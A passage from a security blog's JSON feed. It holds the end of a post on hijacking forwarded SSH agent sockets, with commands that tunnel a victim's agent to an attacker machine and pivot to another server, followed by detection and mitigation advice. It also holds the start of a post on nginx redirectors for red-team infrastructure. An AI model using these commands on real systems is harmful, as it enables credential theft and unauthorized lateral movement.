2\u0026gt;/dev/null\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/tmp/ssh-AAAAAAAAAA:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etotal 0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edrwx------  2 joey     joey   60   Mar 19 01:07 .\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edrwxrwxrwt 14 root     root   1160 Mar 19 01:21 ..\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esrwxr-xr-x  1 joey     joey   0    Mar 19 01:07 agent.1337\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eOn the attacker\u0026rsquo;s workstation:\u003c/strong\u003e Create a new SSH connection to \u003ccode\u003ea.rooted-servers.net\u003c/code\u003e as \u003ccode\u003ejoey\u003c/code\u003e in order to establish the local forward.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#737994;font-style:italic\"\u003e# -N don\u0026#39;t execute a command, -f fork to background, -L establish a local forward\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#737994;font-style:italic\"\u003e# ~/.ssh/joey_sock path to the local file that will be created\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#737994;font-style:italic\"\u003e# /tmp/ssh-AAAAAAAAAA/agent.1137 path to the socket that you\u0026#39;re forwarding to\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eplague\u003cspan style=\"color:#e78284\"\u003e@\u003c/span\u003ehackbook:\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e~$\u003c/span\u003e ssh \u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e-\u003c/span\u003eN \u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e-\u003c/span\u003ef \u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e-\u003c/span\u003eL \u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e~/.\u003c/span\u003essh\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e/\u003c/span\u003ejoey_sock:\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e/\u003c/span\u003etmp\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e/\u003c/span\u003essh\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e-\u003c/span\u003eAAAAAAAAAA\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e/\u003c/span\u003eagent\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ef9f76\"\u003e1137\u003c/span\u003e joey\u003cspan style=\"color:#e78284\"\u003e@\u003c/span\u003ea\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003erooted\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e-\u003c/span\u003eservers\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003enet\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#737994;font-style:italic\"\u003e# Set SSH_AUTH_SOCK environment variable for this command to the socket that forwards to a.rooted-servers.net\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#737994;font-style:italic\"\u003e# Then connect to b.rooted-servers.net\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eplague\u003cspan style=\"color:#e78284\"\u003e@\u003c/span\u003ehackbook:\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e~$\u003c/span\u003e SSH_AUTH_SOCK\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e=~/.\u003c/span\u003essh\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e/\u003c/span\u003ejoey_sock joey\u003cspan style=\"color:#e78284\"\u003e@\u003c/span\u003eb\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003erooted\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e-\u003c/span\u003eservers\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003enet\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ejoey\u003cspan style=\"color:#e78284\"\u003e@\u003c/span\u003eb\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003erooted\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e-\u003c/span\u003eservers\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003enet:\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e~$\u003c/span\u003e hostname \u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e-\u003c/span\u003ef\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eb\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003erooted\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e-\u003c/span\u003eservers\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003enet\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eAlternate Flow:\u003c/strong\u003e Let\u0026rsquo;s say we already have SSH access to \u003ccode\u003ejoey@a.rooted-servers.net\u003c/code\u003e and our current shell was established via SSH. No need to create a second connection! \n\n\u003ckbd\u003ectrl\u003c/kbd\u003e\u003cspan\u003e+\u003c/span\u003e\u003ckbd\u003ef\u003c/kbd\u003e\n for \u0026ldquo;Escape characters\u0026rdquo; on the \u003ca href=\"https://linux.die.net/man/1/ssh\"\u003essh man page\u003c/a\u003e.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# Identify the directory and socket that the real joey is using\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ejoey@a.rooted-servers.net:~$ ls -lah /tmp/ssh-* 2\u0026gt;/dev/null\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/tmp/ssh-AAAAAAAAAA:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etotal 0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edrwx------  2 joey     joey   60   Mar 19 01:07 .\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edrwxrwxrwt 14 root     root   1160 Mar 19 01:21 ..\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esrwxr-xr-x  1 joey     joey   0    Mar 19 01:07 agent.1337\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ejoey@a.rooted-servers.net:~$ ~C\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003essh\u0026gt; ?\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCommands:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      -L[bind_address:]port:host:hostport    Request local forward\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      -R[bind_address:]port:host:hostport    Request remote forward\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      -D[bind_address:]port                  Request dynamic forward\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      -KL[bind_address:]port                 Cancel local forward\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      -KR[bind_address:]port                 Cancel remote forward\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      -KD[bind_address:]port                 Cancel dynamic forward\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ejoey@a.rooted-servers.net:~$ ~C\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003essh\u0026gt; -L ~/.ssh/joey_sock:/tmp/ssh-AAAAAAAAAA/agent.1137\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eForwarding port.\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"again-but-with-root\"\u003eAgain but with root\u003c/h4\u003e\n\u003cp\u003eI\u0026rsquo;m not actually going to detail the whole attack again for a root compromise, because all you really need to know is that with the ability to establish ssh connections to \u003ccode\u003eroot@a.rooted-servers.net\u003c/code\u003e, you can make use of \u003cem\u003eany\u003c/em\u003e \u003ccode\u003e/tmp/ssh-*\u003c/code\u003e agent socket, rather than only the one for a particular user.\u003c/p\u003e\n\u003ch2 id=\"detecting\"\u003eDetecting\u003c/h2\u003e\n\u003cp\u003eOne cool thing about this attack is that no suspicious commands are really executed on the compromised server. Yeah you\u0026rsquo;re going to add a key to \u003ccode\u003eauthorized_keys\u003c/code\u003e, which you should probably be monitoring for changes to. But otherwise there\u0026rsquo;s no shady commands being executed on the server itself to show up in audit logs. All the shady business is happening on the attacker controlled machine.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eYou could attempt to detect enumerations of auth sockets, but looking at files in the \u003ccode\u003e/tmp\u003c/code\u003e directory is probably fairly common and will produce a lot of false positives.\u003c/li\u003e\n\u003cli\u003eYou could set \u003ccode\u003esshd\u003c/code\u003e logging level to \u003ca href=\"https://serverfault.com/a/344125\"\u003eDEBUG1\u003c/a\u003e, and then your \u003ccode\u003esshd\u003c/code\u003e logs will include information about established forwarding.\u003c/li\u003e\n\u003cli\u003eYou could \u003ca href=\"https://blog.rootshell.be/2009/03/01/keep-an-eye-on-ssh-forwarding/\"\u003epatch your sshd\u003c/a\u003e to send tunnel information to syslog (\u003cstrong\u003eWarning:\u003c/strong\u003e Patching your sshd should be done with extreme caution.)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eI guess the answer for this is basically that it\u0026rsquo;s difficult to detect without generating a bunch of extra information or risking a lot of false positives, and that maybe it\u0026rsquo;s better to try to prevent it as much as possible.\u003c/p\u003e\n\u003ch2 id=\"use-case-alternatives\"\u003eUse Case Alternatives\u003c/h2\u003e\n\u003cp\u003eFor the earlier use cases, there are alternative options that should be considered.\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eInstead of \u003ccode\u003eForwardAgent\u003c/code\u003e so that you can ssh from the remote host, use \u003ccode\u003eProxyJump\u003c/code\u003e or \u003ccode\u003eProxyCommand\u003c/code\u003e to SSH \u003cem\u003ethrough\u003c/em\u003e the remote host and into whatever it is that you were going to SSH to from the server.\u003c/li\u003e\n\u003cli\u003eInstead of using \u003ccode\u003eForwardAgent\u003c/code\u003e to get access to your ssh keys to clone authenticated repositories, you can generate an ssh key on the machine and use it as a read-only deployment key. This is supported in \u003ca href=\"https://bitbucket.org/blog/deployment-keys\"\u003eBitbucket\u003c/a\u003e, \u003ca href=\"https://docs.github.com/en/developers/overview/managing-deploy-keys\"\u003eGitHub\u003c/a\u003e, and \u003ca href=\"https://docs.gitlab.com/ee/user/project/deploy_keys/\"\u003eGitLab\u003c/a\u003e. You can also put a password on this key if you\u0026rsquo;d like, so that an attacker wouldn\u0026rsquo;t be able to arbitrarily pull down new versions of the source code.\u003c/li\u003e\n\u003cli\u003eInstead of SSHing between your own computers to share keys, you should have per-workstation keys where possible. Use a password manager to keep track of the passwords for them if having multiple sets of SSH keys is annoying. If hardware tokens are involved, you should have multiple hardware tokens if you need to be able to use them from multiple places at the same time (but really, do you need to use them from multiple places at the same time?)\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"mitigations\"\u003eMitigations\u003c/h2\u003e\n\u003cp\u003eConnoisseurs of the man pages might now point out that \u003ccode\u003essh-add\u003c/code\u003e supports \u003ccode\u003e-c\u003c/code\u003e which tells the agent to ask for confirmation each time a key is used. This might seem like a good solution, and maybe it is for certain use cases where you just want to leave your keys in memory all the time because the password is 80 characters that you memorized 6 years ago and don\u0026rsquo;t want to type often. But it\u0026rsquo;s not a very good solution when you want to get the benefits of automation that use of an SSH agent can provide, since you\u0026rsquo;ll be asked for confirmation every time the key is accessed. Plus, if the \u003ccode\u003eSSH_ASKPASS\u003c/code\u003e environment variable isn\u0026rsquo;t set, the confirmation won\u0026rsquo;t show up. The connection will fail, but you won\u0026rsquo;t have seen a confirmation request.\u003c/p\u003e\n\u003cp\u003eAnother option to mitigate this is to modify \u003ccode\u003e/etc/ssh/sshd_config\u003c/code\u003e and set \u003ccode\u003eAllowAgentForwarding no\u003c/code\u003e. This is not a panacea, though. The \u003ca href=\"https://linux.die.net/man/5/sshd_config\"\u003eman pages\u003c/a\u003e will even tell you that this does not improve security, because users can just install their own forwarders. I do recommend doing this for multi-user machines anyways, because my experience suggests that a lot of users are using \u003ccode\u003eForwardAgent yes\u003c/code\u003e simply because they think they have to in order to use their ssh agent. Or they are using it because it was in a command on StackOverflow. If a user has to bring their own forwarder, it\u0026rsquo;s much less likely to be done on accident.\u003c/p\u003e\n\u003cp\u003eEducating users about alternatives to \u003ccode\u003eForwardAgent\u003c/code\u003e for their specific use case is really the best we can hope for, though.\u003c/p\u003e\n\u003ch2 id=\"au-revoir\"\u003eAu revoir\u003c/h2\u003e\n\u003cp\u003eThis is just a quick night\u0026rsquo;s blog post about a technique that I think is super cool, particularly because it can be difficult to detect and can allow all sorts of mass pivoting if you already have an idea of where a particular user has access to.\u003c/p\u003e\n\u003cp\u003e\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n    \n    \n    \n    \n    \n    \n    \n    \n  \u003cpicture\u003e\n    \u003csource srcset=\"/blog/2021/03/forwardagentforward/img/smiley-thief_hu_c4e5536c54370085.webp\" type=\"image/webp\" /\u003e\n  \u003cimg class=\"img\" src=\"/blog/2021/03/forwardagentforward/img/smiley-thief.9b735df54d8ad9306face7ea613416b8.png\" alt=\"Sticking your hand in someone else\u0026rsquo;s purse\" loading=\"lazy\" height=\"2000\" width=\"2000\" /\u003e\n\u003c/picture\u003e\n\u003c/p\u003e\n"
        },
        {
            "title": "Nginx for Red Teams",
            "date_published": "2020-02-16T13:00:12-08:00",
            "date_modified": "2024-03-17T13:11:03-07:00",
            "id": "https://0xda.de/blog/2020/02/nginx-for-red-teams/",
            "url": "https://0xda.de/blog/2020/02/nginx-for-red-teams/",
            "content_html": "\u003cp\u003eAfter my post yesterday about \u003ca href=\"https://0xda.de/blog/2020/02/red-team-proxy-protocol-nginx/\"\u003eusing PROXY protocol for red teams\u003c/a\u003e to enable trustless TLS redirectors without losing client information, I wanted to write a short follow up post to talk about how great nginx is. I used a lesser known feature of nginx in that blog post called \u003ccode\u003estream\u003c/code\u003e, which originates from \u003ccode\u003engx_stream_core_module\u003c/code\u003e. This enables nginx to act as a simple packet redirector and it can do all sorts of fun stuff.\u003c/p\u003e\n\u003ch3 id=\"redirectors\"\u003eRedirectors\u003c/h3\u003e\n\u003ch4 id=\"tcp-redirection-with-nginx\"\u003eTCP Redirection with Nginx\u003c/h4\u003e\n\u003cp\u003eBy making use of the \u003ccode\u003estream\u003c/code\u003e block, we can do arbitrary TCP redirection.\u003c/p\u003e\n\u003cp\u003eA set of example configurations:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e/etc/nginx/stream_redirector.conf\u003c/code\u003e on \u003ccode\u003e192.168.0.3\u003c/code\u003e.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003estream {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tserver {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\tlisten 80;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\tproxy_pass 192.168.0.2:80;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003e/etc/nginx/stream_redirector.conf\u003c/code\u003e on \u003ccode\u003e192.168.0.2\u003c/code\u003e.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003estream {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tserver {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\tlisten 80;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\tproxy_pass 127.0.0.1:8080;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eIn this set of example configurations, we can do seamless HTTP redirection without directly exposing our app\u0026rsquo;s IP address. Just include \u003ccode\u003e/etc/nginx/stream_redirector.conf\u003c/code\u003e in your \u003ccode\u003e/etc/nginx/nginx.conf\u003c/code\u003e file, \u003cstrong\u003eoutside of the HTTP block\u003c/strong\u003e.\u003c/p\u003e\n\u003ch4 id=\"udp-redirection-with-nginx\"\u003eUDP Redirection with Nginx\u003c/h4\u003e\n\u003cp\u003eBy making use of \u003ccode\u003estream\u003c/code\u003e we can do arbitrary UDP redirection. I used a simple UDP client and server to proof of concept this example.\u003c/p\u003e\n\u003cp\u003e\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n    \n    \n    \n    \n    \n    \n    \n    \n  \u003cpicture\u003e\n    \u003csource srcset=\"/blog/2020/02/nginx-for-red-teams/img/nginx-for-red-teams-1_hu_d780fcedb0952460.webp\" type=\"image/webp\" /\u003e\n  \u003cimg class=\"img\" src=\"/blog/2020/02/nginx-for-red-teams/img/nginx-for-red-teams-1.0109213fb2a7a6eb37696ce293e01daa.png\" alt=\"udp_redirect_example\" loading=\"lazy\" height=\"197\" width=\"592\" /\u003e\n\u003c/picture\u003e\n\u003c/p\u003e\n\u003cp\u003eA set of example configurations\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e/etc/nginx/stream_redirector.conf\u003c/code\u003e on \u003ccode\u003e192.168.0.3\u003c/code\u003e.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003estream {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tserver {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\tlisten 53 udp;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\tproxy_pass 192.168.0.2:5353;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003e/etc/nginx/stream_redirector.conf\u003c/code\u003e on \u003ccode\u003e192.168.0.2\u003c/code\u003e.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003estream {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tserver {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\tlisten 5353 udp;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\tproxy_pass 127.0.0.1:53;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThis can be combined with the PROXY protocol to get information about the initial client, however it doesn\u0026rsquo;t seem to work the same way as it does with TCP redirection streams. You can see in this example that it actually just adds the header at both nginx hops and nginx doesn\u0026rsquo;t strip it away before passing it along to the udp redirection.\u003c/p\u003e\n\u003cp\u003e\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n    \n    \n    \n    \n    \n    \n    \n    \n  \u003cpicture\u003e\n    \u003csource srcset=\"/blog/2020/02/nginx-for-red-teams/img/nginx-for-red-teams-2_hu_c8b22054e503115e.webp\" type=\"image/webp\" /\u003e\n  \u003cimg class=\"img\" src=\"/blog/2020/02/nginx-for-red-teams/img/nginx-for-red-teams-2.1f784b3f343521911ccc92a21cd4591a.png\" alt=\"udp_redirect_with_proxy\" loading=\"lazy\" height=\"184\" width=\"1172\" /\u003e\n\u003c/picture\u003e\n\u003c/p\u003e\n\u003ch4 id=\"zero-trust-tls-redirectors\"\u003eZero Trust TLS Redirectors\u003c/h4\u003e\n\u003cp\u003ePlease see my \u003ca href=\"https://0xda.de/blog/2020/02/red-team-proxy-protocol-nginx/\"\u003eusing PROXY protocol for red teams\u003c/a\u003e blog post for information on this topic.\u003c/p\u003e\n\u003ch3 id=\"restricting-direct-access\"\u003eRestricting Direct Access\u003c/h3\u003e\n\u003cp\u003eYou should note that in our previous examples, \u003ccode\u003e192.168.0.2\u003c/code\u003e is listening to \u003ccode\u003e0.0.0.0\u003c/code\u003e and there are no restrictions on the source IP address. This means that anyone who visits \u003ccode\u003e192.168.0.2\u003c/code\u003e directly will see the same content as \u003ccode\u003e192.168.0.3\u003c/code\u003e and would be able to link the two addresses together. You can handle this at a different layer, having your firewall only permit inbound connections from \u003ccode\u003e192.168.0.3\u003c/code\u003e, or you can have nginx do it by making use of \u003ccode\u003engx_stream_geo_module\u003c/code\u003e. In this case maybe we want to have a separate http server that we redirect unexpected visitors to which can do http redirects.\u003c/p\u003e\n\u003cp\u003eAlternate \u003ccode\u003e/etc/nginx/stream_redirector.conf\u003c/code\u003e on \u003ccode\u003e192.168.0.2\u003c/code\u003e.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003estream {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tupstream proxy_traffic {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\tserver 127.0.0.1:8080;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tupstream direct_traffic {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\tserver 127.0.0.1:8081;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tmap $remote_addr $backend {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t192.168.0.2 \u0026#34;proxy_traffic\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\tdefault \u0026#34;direct_traffic\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tserver {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\tlisten 80;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\tproxy_pass $backend;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eWhere \u003ccode\u003e127.0.0.1:8081\u003c/code\u003e might look something like this:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e/etc/nginx/sites-enabled/direct_traffic.conf\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eserver {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tlisten 127.0.0.1:8081;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\treturn 302 http://example.com\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAnd \u003ccode\u003e127.0.0.1:8080\u003c/code\u003e might look something like this:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e/etc/nginx/sites-enabled/proxy_traffic.conf\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eserver {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tlisten 127.0.0.1:8080;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tlocation / {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\tproxy_pass 127.0.0.1:8000;\n\u003c/span\u003e\u003c/span\u003e\u003cspan 